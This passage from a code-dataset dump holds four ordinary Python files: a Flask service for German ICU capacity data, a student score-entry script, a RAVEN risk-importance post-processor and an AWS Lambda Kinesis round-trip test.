raster,cellids","sub_path":"nems/utilities/baphy.py","file_name":"baphy.py","file_ext":"py","file_size_in_byte":55921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"397457253","text":"from flask import jsonify\nfrom sqlalchemy import text\n\nfrom db import db\n\n\nclass IcuDevelopments:\n    __buildObj = \"\"\"\n    json_build_object(\n        'timestamp',\n        agg.timestamp,\n        'inserted',\n        agg.last_insert_date,\n        'last_updated',\n        agg.last_update,\n        'num_hospitals',\n        agg.num_hospitals,\n        'icu_low_state',\n        json_build_object(\n            'Verfügbar',\n            icu_low_v,\n            'Begrenzt',\n            icu_low_b,\n            'Ausgelastet',\n            icu_low_a,\n            'Nicht verfügbar',\n            icu_low_nv\n        ),\n        'icu_high_state',\n        json_build_object(\n            'Verfügbar',\n            icu_high_v,\n            'Begrenzt',\n            icu_high_b,\n            'Ausgelastet',\n            icu_high_a,\n            'Nicht verfügbar',\n            icu_high_nv\n        ),\n        'ecmo_state',\n        json_build_object(\n            'Verfügbar',\n            ecmo_v,\n            'Begrenzt',\n            ecmo_b,\n            'Ausgelastet',\n            ecmo_a,\n            'Nicht verfügbar',\n            ecmo_nv\n        )\n    )::jsonb\n    \"\"\"\n\n    __aggCols = \"\"\"\n        r.ids                            as ids,\n        r.name                           as name,\n        c.timestamp                      as timestamp,\n        MAX(c.last_update)               as last_update,\n        MAX(c.last_insert_date)          as last_insert_date,\n        r.geom                           as geom,\n        SUM(icu_low_v)                   as icu_low_v,\n        SUM(icu_low_b)                   as icu_low_b,\n        SUM(icu_low_a)                   as icu_low_a,\n        SUM(icu_low_nv)                  as icu_low_nv,\n        SUM(icu_high_v)                  as icu_high_v,\n        SUM(icu_high_b)                  as icu_high_b,\n        SUM(icu_high_a)                  as icu_high_a,\n        SUM(icu_high_nv)                 as icu_high_nv,\n        SUM(ecmo_v)                      as ecmo_v,\n        SUM(ecmo_b)                      as ecmo_b,\n        SUM(ecmo_a)                      as ecmo_a,\n        SUM(ecmo_nv)                     as ecmo_nv,\n        COUNT(r.ids)                     as num_hospitals\n    \"\"\"\n\n    def getHospital(self, fromTime, toTime, maxDaysOld, idHospital):\n        \"\"\"\n            Return the development of one hospital\n        \"\"\"\n        return self.__resSingle(self.__getHospitals(fromTime, toTime, maxDaysOld, idHospital), fromTime, toTime,\n                                maxDaysOld, idHospital, self.__getFeatureHospital)\n\n    def getHospitals(self, fromTime, toTime, maxDaysOld):\n        \"\"\"\n            Return the development of all hospital\n        \"\"\"\n        return self.__resCollection(self.__getHospitals(fromTime, toTime, maxDaysOld, None), fromTime, toTime,\n                                    maxDaysOld, self.__getFeatureHospital)\n\n    def getCounty(self, fromTime, toTime, maxDaysOld, idCounty):\n        \"\"\"\n            Return the development of icu capacities for one county\n        \"\"\"\n        return self.__resSingle(self.__aggQuery('landkreise_extended', fromTime, toTime, maxDaysOld, idCounty),\n                                fromTime, toTime, maxDaysOld, idCounty, self.__getFeatureAgg)\n\n    def getByCounties(self, fromTime, toTime, maxDaysOld):\n        \"\"\"\n            Return the development of icu capacities by counties\n        \"\"\"\n        return self.__resCollection(self.__aggQuery('landkreise_extended', fromTime, toTime, maxDaysOld, None),\n                                    fromTime, toTime, maxDaysOld, self.__getFeatureAgg)\n\n    def getDistrict(self, fromTime, toTime, maxDaysOld, idDistrict):\n        \"\"\"\n            Return the development of icu capacities for one district\n        \"\"\"\n        return self.__resSingle(self.__aggQuery('regierungsbezirke', fromTime, toTime, maxDaysOld, idDistrict),\n                                fromTime, toTime, maxDaysOld, idDistrict, self.__getFeatureAgg)\n\n    def getByDistricts(self, fromTime, toTime, maxDaysOld):\n        \"\"\"\n            Return the development of icu capacities by districts\n        \"\"\"\n        return self.__resCollection(self.__aggQuery('regierungsbezirke', fromTime, toTime, maxDaysOld, None), fromTime,\n                                    toTime, maxDaysOld, self.__getFeatureAgg)\n\n    def getState(self, fromTime, toTime, maxDaysOld, idState):\n        \"\"\"\n            Return the development of icu capacities for one state\n        \"\"\"\n        return self.__resSingle(self.__aggQuery('bundeslaender', fromTime, toTime, maxDaysOld, idState), fromTime,\n                                toTime, maxDaysOld, idState, self.__getFeatureAgg)\n\n    def getByStates(self, fromTime, toTime, maxDaysOld):\n        \"\"\"\n            Return the development of icu capacities by states\n        \"\"\"\n        return self.__resCollection(self.__aggQuery('bundeslaender', fromTime, toTime, maxDaysOld, None), fromTime,\n                                    toTime, maxDaysOld, self.__getFeatureAgg)\n\n    def getCountry(self, fromTime, toTime, maxDaysOld, idCountry):\n        \"\"\"\n            Return the development of icu capacities for one country\n        \"\"\"\n        return self.__resSingle(self.__aggQuery('germany', fromTime, toTime, maxDaysOld, idCountry), fromTime, toTime,\n                                maxDaysOld, idCountry, self.__getFeatureAgg)\n\n    def getByCountries(self, fromTime, toTime, maxDaysOld):\n        \"\"\"\n            Return the development of icu capacities by countries\n        \"\"\"\n        return self.__resCollection(self.__aggQuery('germany', fromTime, toTime, maxDaysOld, None), fromTime, toTime,\n                                    maxDaysOld, self.__getFeatureAgg)\n\n    @staticmethod\n    def __getFeatureHospital(r):\n        # agg.id,\n        # agg.name,\n        # agg.address,\n        # agg.state,\n        # agg.contact,\n        # agg.helipad_nearby,\n        # st_asgeojson(agg.location) :: jsonb AS geom,\n        # CASE\n        #     WHEN min(agg.timestamp) IS NULL THEN NULL\n        #     ELSE json_agg(\n        #         {buildObj}\n        #         ORDER BY\n        #             agg.timestamp\n        #     )::jsonb\n        # END AS development\n        return {\n            \"type\": 'Feature',\n            \"geometry\": r[6],\n            \"properties\": {\n                \"id\": r[0],\n                \"name\": r[1],\n                \"address\": r[2],\n                \"contact\": r[4],\n                \"helipad_nearby\": r[5],\n                \"developments\": r[7]\n            }\n        }\n\n    @staticmethod\n    def __resCollection(sql_stmt, fromTime, toTime, maxDaysOld, cb):\n        sql_result = db.engine.execute(sql_stmt, fromTime=fromTime, toTime=toTime, maxDaysOld=maxDaysOld).fetchall()\n\n        features = []\n        for r in sql_result:\n            feature = cb(r)\n            features.append(feature)\n\n        featurecollection = {\"type\": \"FeatureCollection\", \"features\": features}\n\n        return jsonify(featurecollection), 200\n\n    @staticmethod\n    def __resSingle(sql_stmt, fromTime, toTime, maxDaysOld, idHospital, cb):\n        r = db.engine.execute(sql_stmt, fromTime=fromTime, toTime=toTime, maxDaysOld=maxDaysOld,\n                              idObj=idHospital).fetchone()\n\n        if r is None:\n            return jsonify({'error': 'not found'}), 404\n\n        feature = cb(r)\n\n        return jsonify(feature), 200\n\n    @staticmethod\n    def __getFeatureAgg(r):\n        # agg.ids,\n        #     agg.name,\n        #     st_asgeojson(agg.geom) :: jsonb             AS geom,\n        #     st_asgeojson(st_centroid(agg.geom)):: jsonb AS centroid,\n        #     AS development,\n        #     AS developmentDays\n        return {\n            \"type\": 'Feature',\n            \"geometry\": r[2],\n            \"properties\": {\n                \"id\": r[0],\n                \"name\": r[1],\n                \"centroid\": r[3],\n                \"developments\": r[4],\n                \"developmentDays\": r[5]\n            }\n        }\n\n    def __aggQuery(self, aggTable, fromTime, toTime, maxDaysOld, idObj):\n\n        sqlFromTime = \"\"\n        sqlToTime = \"\"\n        sqlMaxDaysOld = \"\"\n        sqlIdObj = \"\"\n\n        if fromTime:\n            sqlFromTime = \"AND agg.timestamp >= :fromTime\"\n\n        if toTime:\n            sqlToTime = \"AND agg.timestamp <= :toTime\"\n\n        if maxDaysOld:\n            sqlMaxDaysOld = \"AND c.age <= (:maxDaysOld || ' days') ::interval\"\n\n        if idObj:\n            sqlIdObj = \"AND agg.ids = :idObj\"\n\n        stmnt = text(\"\"\"\n        WITH agg AS (\n            SELECT {aggCols}\n            FROM filled_hospital_timeseries_with_fix c\n            JOIN {aggTable} r ON st_contains(r.geom, c.geom)\n            WHERE landkreis_id IS NOT NULL\n                {sqlMaxDaysOld}\n            GROUP BY r.ids,\n                    r.name,\n                    r.geom,\n                    c.timestamp\n        )\n        SELECT agg.ids,\n            agg.name,\n            st_asgeojson(agg.geom) :: jsonb             AS geom,\n            st_asgeojson(st_centroid(agg.geom)):: jsonb AS centroid,\n            -- check if the first value is null, can ONLY happen if there are no values for the landkreis, then we return null\n            CASE\n                WHEN min(agg.timestamp) IS NULL THEN NULL\n                ELSE json_agg(\n                        {buildObj}\n                        ORDER BY\n                            agg.timestamp\n                    )::jsonb\n                END                                       AS development,\n            CASE\n                WHEN min(agg.timestamp) IS NULL THEN NULL\n                ELSE json_object_agg(\n                        agg.timestamp::date,\n                        {buildObj}\n                        ORDER BY\n                            agg.timestamp\n                    )::jsonb\n                END                                       AS developmentDays\n        FROM agg\n        WHERE 1 = 1\n            {sqlFromTime}\n            {sqlToTime}\n            {sqlIdObj}\n        GROUP BY agg.ids,\n                agg.name,\n                agg.geom\n        \"\"\".format(aggTable=aggTable, aggCols=self.__aggCols, buildObj=self.__buildObj, sqlFromTime=sqlFromTime,\n                   sqlToTime=sqlToTime, sqlMaxDaysOld=sqlMaxDaysOld, sqlIdObj=sqlIdObj))\n\n        # current_app.logger.debug(stmnt)\n\n        return stmnt\n\n    def __getHospitals(self, fromTime, toTime, maxDaysOld, idHospital):\n        \"\"\"\n            Return the development of icu capacities\n            by counties\n        \"\"\"\n\n        sqlFromTime = \"\"\n        sqlToTime = \"\"\n        sqlMaxDaysOld = \"\"\n        sqlIdCounty = \"\"\n\n        if fromTime:\n            sqlFromTime = \"AND agg.timestamp >= :fromTime\"\n\n        if toTime:\n            sqlToTime = \"AND agg.timestamp <= :toTime\"\n\n        if maxDaysOld:\n            sqlMaxDaysOld = \"AND agg.age <= (:maxDaysOld || ' days') ::interval\"\n\n        if idHospital:\n            sqlIdCounty = \"AND agg.hospital_id = :idObj\"\n\n        sql_stmt = text(\"\"\"\n            SELECT\n                agg.hospital_id,\n                agg.name,\n                agg.address,\n                agg.state,\n                agg.contact,\n                agg.helipad_nearby,\n                st_asgeojson(agg.geom) :: jsonb AS geom,\n                CASE\n                    WHEN min(agg.timestamp) IS NULL THEN NULL\n                    ELSE json_agg(\n                        {buildObj}\n                        ORDER BY\n                            agg.timestamp\n                    )::jsonb\n                END AS development,\n                CASE\n                    WHEN min(agg.timestamp) IS NULL THEN NULL\n                    ELSE json_object_agg(\n                            agg.timestamp::date,\n                            {buildObj}\n                            ORDER BY\n                                agg.timestamp\n                        )::jsonb\n                END                                       AS developmentDays\n            FROM\n                (SELECT *, 1 AS num_hospitals FROM filled_hospital_timeseries_with_fix) agg\n            WHERE landkreis_id IS NOT NULL\n                {sqlFromTime}\n                {sqlToTime}\n                {sqlIdCounty}\n                {sqlMaxDaysOld}\n            GROUP BY\n                agg.hospital_id,\n                agg.name,\n                agg.address,\n                agg.state,\n                agg.contact,\n                agg.geom,\n                agg.helipad_nearby\n        \"\"\".format(buildObj=self.__buildObj, sqlFromTime=sqlFromTime, sqlToTime=sqlToTime, sqlMaxDaysOld=sqlMaxDaysOld,\n                   sqlIdCounty=sqlIdCounty))\n\n        # current_app.logger.debug(f'Counties: {sql_stmt}')\n\n        return sql_stmt\n","sub_path":"Backend/models/icuDevelopments.py","file_name":"icuDevelopments.py","file_ext":"py","file_size_in_byte":12634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"325207382","text":"names = []\r\ntest1 = []\r\ntest2 = []\r\ntest3 = []\r\ntotal = []\r\ntotalMarks = 0\r\n\r\nfor num in range(30):\r\n  names.append(input(\"Name: \"))\r\n  score = int(input(\"Test 1 Score:\"))\r\n  while score > 20 or score < 0:\r\n    print(\"Score is out of range\")\r\n    score = int(input(\"Test 1 Score:\"))\r\n  else:\r\n    test1.append(score)\r\n  score = int(input(\"Test 2 Score:\"))\r\n  while score > 25 or score < 0:\r\n    print(\"Score is out of range\")\r\n    score = int(input(\"Test 2 Score:\"))\r\n  else:\r\n    test2.append(score)\r\n  score = int(input(\"Test 3 Score:\"))\r\n  while score > 35 or score < 0:\r\n    print(\"Score is out of range\")\r\n    score = int(input(\"Test 3 Score:\"))\r\n  else:\r\n    test3.append(score)\r\n  total.append(test1[num] + test2[num] + test3[num])\r\n  totalMarks += total[num]\r\n'''\r\nprint(\"Name | Test 1 | Test 2 | Test 3 | Total\")\r\nfor num in range(30):\r\n  print(names[num],test1[num],test2[num],test3[num],total[num])\r\nprint(\"Average\")\r\nprint(totalMarks / 30)\r\nsortedTotal = sorted(total)\r\nmaxIndex = total.index(sortedTotal[29])\r\nprint(\"Highest Mark Student\")\r\nprint(\"Name | Test 1 | Test 2 | Test 3 | Total\")\r\nprint(names[maxIndex],test1[maxIndex],test2[maxIndex],test3[maxIndex],total[maxIndex])\r\n'''","sub_path":"2015 Specimen Paper 2 - Python/PreReleaseTask1.py","file_name":"PreReleaseTask1.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"521675818","text":"# Copyright 2017 Battelle Energy Alliance, LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nCreated on November 2016\n\n@author: mandd\n\"\"\"\n#for future compatibility with Python 3--------------------------------------------------------------\nfrom __future__ import division, print_function, unicode_literals, absolute_import\nimport warnings\nwarnings.simplefilter('default',DeprecationWarning)\nif not 'xrange' in dir(__builtins__):\n  xrange = range\n#End compatibility block for Python 3----------------------------------------------------------------\n\n#External Modules------------------------------------------------------------------------------------\nimport numpy as np\nimport copy\n#External Modules End--------------------------------------------------------------------------------\n\nfrom PostProcessorInterfaceBaseClass import PostProcessorInterfaceBase\n\nclass riskMeasuresDiscrete(PostProcessorInterfaceBase):\n  \"\"\" This class implements the four basic risk-importance measures\n      This class inherits form the base class PostProcessorInterfaceBase and it contains three methods:\n      - initialize\n      - run\n      - readMoreXML\n  \"\"\"\n  _availableMeasures = set(['B','FV','RAW','RRW','R0'])\n\n  def availableMeasures(cls):\n    \"\"\"\n        A class level constant that tells developers what measures are available from this class\n        @ In, cls, the RiskMeasureDiscrete class of which this object will be a type\n    \"\"\"\n    return cls._availableMeasures\n\n  def initialize(self):\n    \"\"\"\n      Method to initialize the Interfaced Post-processor\n      @ In, None\n      @ Out, None\n\n    \"\"\"\n    PostProcessorInterfaceBase.initialize(self)\n    self.inputFormat  = 'PointSet'\n    self.outputFormat = 'PointSet'\n\n  def readMoreXML(self,xmlNode):\n    \"\"\"\n      Function that reads elements this post-processor will use\n      @ In, xmlNode, ElementTree, Xml element node\n      @ Out, None\n    \"\"\"\n    self.variables = {}\n    self.target    = {}\n\n    self.IEdata = {}\n\n    self.temporalID = None\n\n    for child in xmlNode:\n      if child.tag == 'measures':\n        self.measures = set(child.text.split(','))\n\n        if not self.measures.issubset(self.availableMeasures()):\n          unrecognizedMeasures  = self.measures.difference(self.availableMeasures())\n          self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor ' + str(self.name) + ' : measures '\n                            + str(list(unrecognizedMeasures)) + ' are not recognized')\n\n      elif child.tag == 'variable':\n        variableID = child.text\n        self.variables[variableID] = {}\n        if 'R0values' in child.attrib.keys():\n          values = child.attrib['R0values'].split(',')\n          if len(values) != 2:\n            self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor ' + str(self.name) +\n                              ' : attribute node R0 for XML node: ' + str(child) + ' has one or more than two values')\n          try:\n            val1 = float(values[0])\n            val2 = float(values[1])\n          except:\n            self.raiseAnError(IOError,' Wrong R0values associated to riskMeasuresDiscrete Post-Processor')\n          self.variables[variableID]['R0low']  = min(val1,val2)\n          self.variables[variableID]['R0high'] = max(val1,val2)\n        else:\n          self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor ' + str(self.name) +\n                            ' : attribute node R0 is not present for XML node: ' + str(child) )\n        if 'R1values' in child.attrib.keys():\n          values = child.attrib['R1values'].split(',')\n          if len(values)>2:\n            self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor ' + str(self.name) +\n                              ' : attribute node R1 for XML node: ' + str(child) + ' has more than two values')\n          try:\n            val1 = float(values[0])\n            val2 = float(values[1])\n          except:\n            self.raiseAnError(IOError,' Wrong R1values associated to riskMeasuresDiscrete Post-Processor')\n          self.variables[variableID]['R1low']  = min(val1,val2)\n          self.variables[variableID]['R1high'] = max(val1,val2)\n        else:\n          self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor ' + str(self.name) +\n                            ' : attribute node R1 is not present for XML node: ' + str(child) )\n\n      elif child.tag == 'target':\n        self.target['targetID'] = child.text\n        if 'values' in child.attrib.keys():\n          values = child.attrib['values'].split(',')\n          if len(values) != 2:\n            self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor ' + str(self.name) +\n                              ' : attribute node values for XML node: ' + str(child) + ' has one or more than two values')\n          try:\n            val1 = float(values[0])\n            val2 = float(values[1])\n          except:\n            self.raiseAnError(IOError,' Wrong target values associated to riskMeasuresDiscrete Post-Processor')\n          self.target['low']  = min(val1,val2)\n          self.target['high'] = max(val1,val2)\n        else:\n          self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor ' + str(self.name) +\n                            ' : attribute node values is not present for XML node: ' + str(child) )\n\n      elif child.tag == 'data':\n        self.IEdata[child.text] = float(child.attrib['freq'])\n\n      elif child.tag == 'temporalID':\n        self.temporalID = child.text\n\n      elif child.tag !='method':\n        self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor ' + str(self.name) +\n                          ' : XML node ' + str(child) + ' is not recognized')\n\n\n  def run(self,inputDic):\n    \"\"\"\n     This method perform the actual calculation of the risk measures\n     @ In, inputDic, list, list of dictionaries which contains the data inside the input DataObjects\n     @ Out, outputDic, dict, dictionary which contains the risk measures\n    \"\"\"\n    # Check how many HistorySets (checkHSs) have been provided\n    checkHSs=0\n    for inp in inputDic:\n      if inp['type'] == 'HistorySet':\n        timeDepData = copy.deepcopy(inp)\n        inputDic.remove(inp)\n        checkHSs +=1\n\n    if checkHSs == 0:\n      # if no HistorySet has been provided run the static form of this PP\n      outputDic = self.runStatic(inputDic)\n    elif checkHSs == 1:\n       # if one HistorySet has been provided run the dynamic form of this PP\n      self.outputFormat = 'HistorySet'\n      outputDic = self.runDynamic(inputDic,timeDepData)\n      for var in timeDepData['data']['output'][1]:\n        if var != self.temporalID:\n          ## Are there any values in timeDepData['data']['output'][1][var] that are not 0 or 1?\n          if len(np.setdiff1d(timeDepData['data']['output'][1][var], [0,1])):\n            self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor ' + str(self.name) +\n                              ' : the provided HistorySet contains the variable ' + str(var) + ' which has elements different than 0 or 1')\n      outputDic['data']['output'][1][self.temporalID] = copy.deepcopy(timeDepData['data']['output'][1][self.temporalID])\n      outputDic['data']['input'] = copy.deepcopy(timeDepData['data']['input'])\n    else: # checkHSs >= 2:\n      # only one HistorySet should be provided\n      self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor ' + str(self.name) +\n                        ' : more than one HistorySet has been provided')\n    return outputDic\n\n\n  def runStatic(self,inputDic, componentConfig=None):\n    \"\"\"\n     This method perform the static calculation of the risk measures\n     @ In, inputDic, list, list of dictionaries which contains the data inside the input DataObjects\n     @ In, componentConfig, dict, dictionary containing the boolean status (0 or 1) of a sub set of the input variables\n     @ Out, outputDic, dict, dictionary which contains the risk measures\n    \"\"\"\n    if self.temporalID is not None and componentConfig is None:\n      self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor ' + str(self.name) +\n                        ' : a temporalID variable is specified but an HistorySet is not provided')\n\n    riskImportanceMeasures = {}\n    for variable in self.variables:\n      macroR0     = 0\n      macroRMinus = 0\n      macroRPlus  = 0\n\n      r0Low  = self.variables[variable]['R0low']\n      r0High = self.variables[variable]['R0high']\n      r1Low  = self.variables[variable]['R1low']\n      r1High = self.variables[variable]['R1high']\n\n      for inp in inputDic:\n        ## Get everything out of the inputDic at the outset, the hope is to have no string literals on the interior\n        ## of this function.\n        if componentConfig is None:\n          inputName     = inp['name']\n          inputDataIn   = inp['data']['input']\n          inputDataOut  = inp['data']['output']\n          targetVar     = np.asarray(inputDataOut[self.target['targetID']])\n          inputMetadata = inp['metadata'] if 'metadata' in inp else None\n        else:\n          # if componentConfig is provided, then only a subset of the original data must be considered\n          # only the data points that contains componentConfig are in fact considered\n          # indexUpdatedData contains the indexes of those data points\n          indexUpdatedData = None\n          for var in componentConfig.keys():\n            if componentConfig[var] == 0:\n              inputVar = np.asarray(inp['data']['input'][var])\n              indexCompOut = np.where(inputVar==1)\n              if indexUpdatedData is None:\n                indexUpdatedData = copy.deepcopy(indexCompOut)\n              else:\n                indexUpdatedData = np.intersect1d(indexUpdatedData,indexCompOut)\n\n          if indexUpdatedData is not None:\n            inputName    = inp['name']\n            inputDataIn  = {}\n            inputDataOut = {}\n            for var in inp['data']['input']:\n              inputDataIn[var]  = inp['data']['input'][var][indexUpdatedData]\n            for var in inp['data']['output']:\n              inputDataOut[var] = inp['data']['output'][var][indexUpdatedData]\n            targetVar = np.asarray(inputDataOut[self.target['targetID']])\n            inputMetadata = {}\n            inputMetadata['ProbabilityWeight'] = inp['metadata']['ProbabilityWeight'][indexUpdatedData]\n          else:\n            inputName     = inp['name']\n            inputDataIn   = inp['data']['input']\n            inputDataOut  = inp['data']['output']\n            targetVar     = np.asarray(inputDataOut[self.target['targetID']])\n            inputMetadata = inp['metadata'] if 'metadata' in inp else None\n\n        if inputMetadata is not None and 'ProbabilityWeight' in inputMetadata:\n          inputWeights = np.asarray(inputMetadata['ProbabilityWeight'])\n          pbWeights = inputWeights/np.sum(inputWeights)\n        else:\n          ## Any variable will do, so just count the first input. We could also have count the outputs, but this could\n          ## be tricky if the data is a HistorySet and thus multidimensional.\n          pointCount = len(inputDataIn.values()[0])\n          pbWeights  = np.ones(pointCount)/float(pointCount)\n\n        if inputName in self.IEdata.keys():\n          multiplier = self.IEdata[inputName]\n        else:\n          multiplier = 1.0\n          self.raiseAWarning('RiskMeasuresDiscrete Interfaced Post-Processor: the dataObject '\n                             + str (inputName) + ' does not have the frequency of the IE specified. It is assumed that the frequency of the IE is 1.0')\n\n        ## Calculate R0, Rminus, Rplus\n\n        ## Step 1: Retrieve points that contain system failure\n        indexSystemFailure = np.where(np.logical_and(targetVar >= self.target['low'], targetVar <= self.target['high']))[0]\n\n        if variable in inputDataIn.keys():\n          inputVar = np.asarray(inputDataIn[variable])\n\n          ## Step 2: Retrieve points from original dataset that contain component reliability values equal to 1\n          ##         (indexComponentMinus) and 0 (indexComponentPlus)\n          indexComponentMinus = np.where(np.logical_and(inputVar >= r1Low, inputVar <= r1High))[0]\n          indexComponentPlus  = np.where(np.logical_and(inputVar >= r0Low, inputVar <= r0High))[0]\n\n          ## Step 3: Retrieve points from Step 1 that contain component reliability values equal to 1\n          ##         (indexFailureMinus) and 0 (indexFailurePlus)\n          indexFailureMinus = np.intersect1d(indexSystemFailure,indexComponentMinus)\n          indexFailurePlus  = np.intersect1d(indexSystemFailure,indexComponentPlus)\n\n          ## Step 4: Sum pb weights for the subsets retrieved in Steps 1, 2, and 3\n          if componentConfig is None or variable not in componentConfig.keys():\n            # Coordinate BE2\n            ## R0 = pb of system failure\n            R0     = np.sum(pbWeights[indexSystemFailure])\n            Rminus = np.sum(pbWeights[indexFailureMinus]) / np.sum(pbWeights[indexComponentMinus])\n            Rplus  = np.sum(pbWeights[indexFailurePlus]) / np.sum(pbWeights[indexComponentPlus])\n          else:\n            # Coordinate BE3\n            R0 = np.sum(pbWeights[indexSystemFailure])\n            if   componentConfig[variable] == 0:\n              Rminus = Rplus = np.sum(pbWeights[indexFailurePlus]) / np.sum(pbWeights[indexComponentPlus])\n            elif componentConfig[variable] == 1:\n              if indexFailureMinus.size:\n                Rminus = np.sum(pbWeights[indexFailureMinus]) / np.sum(pbWeights[indexComponentMinus])\n              else:\n                Rminus = R0\n              if indexComponentPlus.size:\n                Rplus  = np.sum(pbWeights[indexFailurePlus]) / np.sum(pbWeights[indexComponentPlus])\n              else:\n                Rplus = R0\n        else:\n          # Coordinate BE1\n          R0 = Rminus = Rplus = np.sum(pbWeights[indexSystemFailure])\n\n        macroR0     += multiplier * R0\n        macroRMinus += multiplier * Rminus\n        macroRPlus  += multiplier * Rplus\n\n      if 'RRW' in self.measures:\n        RRW = riskImportanceMeasures[variable + '_RRW'] = np.asanyarray([macroR0/macroRMinus])\n        self.raiseADebug(str(variable) + ' RRW = ' + str(RRW))\n\n      if 'RAW' in self.measures:\n        RAW = riskImportanceMeasures[variable + '_RAW'] = np.asanyarray([macroRPlus/macroR0])\n        self.raiseADebug(str(variable) + ' RAW = ' + str(RAW))\n\n      if 'FV' in self.measures:\n        FV = riskImportanceMeasures[variable + '_FV']  = np.asanyarray([(macroR0-macroRMinus)/macroR0])\n        self.raiseADebug( str(variable) + ' FV = ' + str(FV))\n\n      if 'B' in self.measures:\n        B = riskImportanceMeasures[variable + '_B']   = np.asanyarray([macroRPlus-macroRMinus])\n        self.raiseADebug(str(variable) + ' B  = ' + str(B))\n\n      if 'R0' in self.measures:\n        riskImportanceMeasures['R0']   = np.asanyarray([macroR0])\n        self.raiseADebug(' R0  = ' + str(macroR0))\n\n    outputDic = {\n                  'data': {\n                           'input': {},\n                           'output': riskImportanceMeasures\n                          },\n                  'metadata': {}\n                }\n    ## If for whatever reason passing an empty input back causes errors, then you may want to add some sort of dummy\n    ## value.\n    # outputDic['data']['input'] = {} # {'dummy' : np.asanyarray(0)}\n\n    return outputDic\n\n  def runDynamic(self,inputDic,timeHistory):\n    \"\"\"\n     This method performs the dynamic calculation of the risk measures\n     @ In, inputDic, list, list of dictionaries which contains the data inside the input DataObjects\n     @ In, timeHistory, dict, dictionary containing  boolean temporal profiles (0 or 1) of a sub set of the input variables. Note that this\n                              history must contain a single history\n     @ Out, outputDic, dict, dictionary which contains the risk measures\n    \"\"\"\n    # timeHistory format values:\n    # - 0 component is disconnected\n    # - 1 component is connected\n\n    if self.temporalID is None:\n      self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor: an HistorySet is provided but no temporalID variable is specified')\n\n    if self.temporalID not in timeHistory['data']['output'][1].keys():\n      self.raiseAnError(IOError, 'RiskMeasuresDiscrete Interfaced Post-Processor: the specified temporalID variable '\n                        + str(self.temporalID) + ' is not part of the HistorySet variables')\n\n    outputDic = {\n                  'data': {\n                           'input' : {},\n                           'output': {}\n                          },\n                  'metadata': {}\n                }\n    outputDic['data']['output'][1] = {}\n\n    for measure in self.measures:\n      if measure=='R0':\n        outputDic['data']['output'][1][measure] = np.zeros(len(timeHistory['data']['output'][1][self.temporalID]))\n      else:\n        for var in self.variables:\n          outputDic['data']['output'][1][var + '_' + measure] = np.zeros(len(timeHistory['data']['output'][1][self.temporalID]))\n\n    previousSystemConfig = {}\n\n    for index,value in enumerate(timeHistory['data']['output'][1][self.temporalID]):\n      systemConfig={}\n\n      # Retrieve the system configuration at time instant \"index\"\n      for var in timeHistory['data']['output'][1].keys():\n        if var != self.temporalID:\n          systemConfig[var] = timeHistory['data']['output'][1][var][index]\n\n      # Do not repeat the calculation if the system configuration is identical to the one of previous time instant\n      if systemConfig == previousSystemConfig:\n        for key in outputDic['data']['output'][1].keys():\n          outputDic['data']['output'][1][key][index] = outputDic['data']['output'][1][key][index-1]\n      else:\n        staticOutputDic = self.runStatic(inputDic,systemConfig)\n        for key in outputDic['data']['output'][1].keys():\n          outputDic['data']['output'][1][key][index] = staticOutputDic['data']['output'][key]\n      previousSystemConfig = copy.deepcopy(systemConfig)\n\n    return outputDic\n\n","sub_path":"framework/PostProcessorFunctions/riskMeasuresDiscrete.py","file_name":"riskMeasuresDiscrete.py","file_ext":"py","file_size_in_byte":18655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"31028822","text":"import json\nimport boto3\nimport pickle\n\n\nclass User:\n    def __init__(self):\n        self.id = '001'\n        self.name = 'tanaka'\n        self.data = b'test001'\n\n\ndef lambda_handler(event, context):\n    user = User()\n    b = pickle.dumps(user)\n    print(b)\n    \n    client = boto3.client('kinesis')\n    response = client.put_record(\n        Data=b,\n        PartitionKey='123',\n        StreamName='kinesis-test')\n    print(response)\n    \n    shard = response['ShardId']\n    sequence = response['SequenceNumber']\n    \n    it = client.get_shard_iterator(StreamName='kinesis-test', ShardId=shard, ShardIteratorType='AT_SEQUENCE_NUMBER', StartingSequenceNumber=sequence)\n    shard_iterator = it['ShardIterator']\n    get_response = client.get_records(ShardIterator=shard_iterator, Limit=1)\n    print(get_response)\n    \n    record = get_response['Records'][0]['Data']\n    print(record)\n    \n#   load_user = pickle.loads(record)\n#   print(load_user.id)\n#   print(load_user.name)\n#   print(load_user.data)\n    \n    return {\n        'statusCode': 200,\n        'body': json.dumps('Hello from Lambda!')\n    }","sub_path":"cloudformation/kinesis-stream-lambda-event/put-lambda.py","file_name":"put-lambda.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
